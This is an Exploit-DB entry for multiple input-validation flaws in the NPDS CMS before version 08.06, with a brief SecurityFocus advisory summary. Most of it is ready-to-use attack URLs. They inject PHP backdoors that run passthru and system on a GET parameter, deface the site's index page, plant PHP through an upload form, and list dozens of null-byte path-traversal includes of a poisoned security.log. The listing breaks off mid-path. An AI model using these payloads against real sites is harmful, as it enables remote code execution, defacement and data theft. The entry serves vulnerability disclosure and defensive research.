Exploit-DB #32689
Description: NPDS < 08.06 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2008-12-04
Author: Jean-François Leclerc

Exploit:
source: https://www.securityfocus.com/bid/33051/info

NPDS is prone to multiple input-validation vulnerabilities:

- Multiple local file-include vulnerabilities
- An HTML-injection vulnerability
- Multiple SQL-injection vulnerabilities
- Multiple cross-site scripting vulnerabilities

Exploiting these issues can allow an attacker to steal cookie-based authentication credentials, view and execute arbitrary local files within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

Versions prior to NPDS 08.06 are vulnerable.

http:/www.example.com/npds/modules/annonces/config.php?admin=1&tit=";%0Apassthru(stripslashes(urldecode($_GET[&#039;cmd&#039;])));%0Aecho%20"
/npds/modules/annonces/config.php
Create backdoor and/or inject code into connect.inc.php file


 BACKDOOR PHP
 http:/www.example.com/npds/modules/last-fm/admin/adm_save.php?ModPath=../../../../../test.php%00&lastfm_username=";%0Asystem($_GET[&#039;dir&#039;]);%0Aecho%20"

 DEFACE
 http:/www.example.com/npds/modules/last-fm/admin/adm_save.php?ModPath=../../../../../index.html%00&lastfm_username=";%0APHP?><html><big><big>OWNED%20BY%20NOSP
!!!</big></big></html><?php
/npds/modules/last-fm/admin/adm_save.php
Create backdoor and/or inject code into security.log file

 <form name="fileU" method="post" enctype="multipart/form-data" action="http:/www.example.com/npds/modules/upload/upload.php">Fichier : <input
class="TEXTBOX_STANDARD" type="file" name="file1" size="50" maxlength="255">
 <input class="TEXTBOX_STANDARD" type="submit" value="OK">
 <input type="hidden" name="MAX_FILE_SIZE" value="200000">
 <input type="hidden" name="op" value="upload">
 <input type="hidden" name="numero" value="0">
 <input type="hidden" name="ficname" value="test.txt">
 <input type="hidden" name="name_tmp" value="<? phpinfo(); ?>">
 </form>
/npds/modules/upload/upload.php
Create backdoor and/or inject code into security.log file

 http:/www.example.com/npds/footer.php?Default_Theme=../logs\security.log%00
/npds/footer.php
Include

 http:/www.example.com/npds/modules/annonces/affi_ann.php?ModPath=../../logs/security.log%00
/npds/modules/annonces/affi_ann.php
Include

 http:/www.example.com/npds/modules/annonces/affi_img.php?ModPath=../../logs/security.log%00
/npds/modules/annonces/affi_img.php
Include

 http:/www.example.com/npds/modules/affiche.php?ModPath=../../logs/security.log%00
/npds/modules/annonces/affiche.php
Include

 http:/www.example.com/npds/modules/annul.php?ModPath=../../logs/security.log%00&
/npds/modules/annul.php
Include

 http:/www.example.com//npds/modules/block_partenaires.php?language=../../../../../../logs/security.log%00
/npds/modules/block_partenaires.php
Include

 http:/www.example.com/npds/modules/chargement.php?ModPath=../../logs/security.log%00
/npds/modules/chargement.php
Include

\
 http:/www.example.com/npds/modules/deezer/admin/index.php?ModPath=../../../../logs/security.log%00 OU
http:/www.example.com/npds/modules/deezer/admin/index.php?language=../../../../../../logs/security.log%00
/npds/modules/deezer/admin/index.php
Include

 http:/www.example.com/npds/modules/deezer/deezer.php?language=../../../../../logs/security.log%00
/npds/modules/deezer/deezer.php
Include

 http:/www.example.com/npds/modules/deezer/deezermod.php?language=../../../../logs/security.log%00
/npds/modules/deezer/deezermod.php
Include

 http:/www.example.com/npds/modules/G-annonces/admin/adm_ann.php?ModPath=../../../../../../logs/security.log%00
/npds/modules/G-annonces/admin/adm_ann.php
Include

 http:/www.example.com/npds/modules/G-annonces/admin/?ModPath=../../../../../../logs/security.log%00
/npds/modules/G-annonces/admin/index.php
Include

 http:/www.example.com/npds/modules/G-annonces/annonce_form.php?ModPath=../../../logs/security.log%00
/npds/modules/G-annonces/annonce_form.php
Include

 http:/www.example.com/npds/modules/G-annonces/index.php?ModPath=../../../../../logs/security.log%00
/npds/modules/G-annonces/index.php
Include

 http:/www.example.com/npds/modules/G-annonces/list_ann.php?ModPath=../../../../../logs/security.log%00
/npds/modules/G-annonces/list_ann.php
Include

 http:/www.example.com/npds/modules/G-annonces/modif_ann.php?ModPath=../../../../../logs/security.log%00
/npds/modules/G-annonces/modif_ann.php
Include

 http:/www.example.com/npds/modules/G-annonces/search.php?ModPath=../../../../../logs/security.log%00
/npds/modules/G-annonces/search.php
Include

 http:/www.example.com/npds/modules/GS-annonces/print.php?ModPath=../../../logs/security.log%00
/npds/modules/GS-annonces/print.php
Include

 http:/www.example.com/npds/modules/last-fm/admin/adm.php?ModPath=../../../../logs/security.log%00 OU
http:/www.example.com/npds/modules/last-fm/admin/adm.php?language=../../../../../logs/security.log%00
/npds/modules/last-fm/admin/adm.php
Include

 http:/www.example.com/npds/modules/last-fm/admin/adm_save.php?ModPath=../../../../../logs/security.log%00
/npds/modules/last-fm/admin/adm_save.php
Include


 http:/www.example.com/npds/modules/last-fm/error.php?ModPath=../../../../logs/security.log%00 ET
http:/www.example.com/npds/modules/last-fm/error.php?language=../../../../../logs/security.log%00
/npds/modules/last-fm/error.php
Include

 http:/www.example.com/npds/modules/last-fm/last-fm.php?language=../../../../../../logs/security.log%00
/npds/modules/last-fm/last-fm.php
Include

 http:/www.example.com/npds/modules/links/admin/create_tables.php?ModPath=../../../../logs/security.log%00/admin%00
/npds/modules/links/admin/create_tables.php
Include

 http:/www.example.com/npds/modules/saisie.php?user=1&ModPath=../../logs/security.log%00
/npds/modules/saisie.php
Include

 http:/www.example.com/npds/modules/td-galerie/admin/adm.php?ModPath=../../../.././logs/security.log%00
/npds/modules